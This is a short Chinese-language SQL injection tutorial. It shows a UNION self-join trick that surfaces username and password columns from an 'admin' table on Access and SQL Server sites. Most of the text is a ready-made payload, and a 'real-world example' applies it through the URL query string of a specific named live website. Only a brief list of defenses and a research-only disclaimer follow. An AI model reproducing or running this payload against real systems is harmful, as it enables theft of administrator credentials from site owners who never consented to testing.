SQL Injection 進階：UNION 注入快速提取 Access 與 SQL Server 敏感資料

解決方案：多重 JOIN 自己

透過將同一張表多次 INNER JOIN 自己，展開欄位順序，使敏感欄位落在可見位置：

SELECT 1,* 
FROM (((admin AS a INNER JOIN admin AS b ON a.id=b.id)
       INNER JOIN admin AS c ON c.id=b.id)
       INNER JOIN admin AS d ON d.id=c.id)
       INNER JOIN admin AS e ON e.id=d.id

查詢結果會展開為：1, a.id, a.name, a.pwd, b.id, b.name, b.pwd, ...
第 3、7 欄位即為 username、password，剛好落在前端顯示區塊。

實戰範例網址

https://www.hnp2p.com/mov/view.asp?id=1916 UNION SELECT 1,* FROM 
(((admin AS a INNER JOIN admin AS b ON a.id=b.id)
 INNER JOIN admin AS c ON c.id=b.id)
 INNER JOIN admin AS d ON d.id=c.id)
 INNER JOIN admin AS e ON e.id=d.id

防禦建議

• 使用參數化查詢
• 最小權限原則：網站資料庫帳號僅授 SELECT、INSERT 必要權限
• 關閉詳細錯誤訊息回傳給前端
• 部署 WAF（Web Application Firewall）

⚠️ 本文僅供安全研究與防禦教學，嚴禁用於非法攻擊。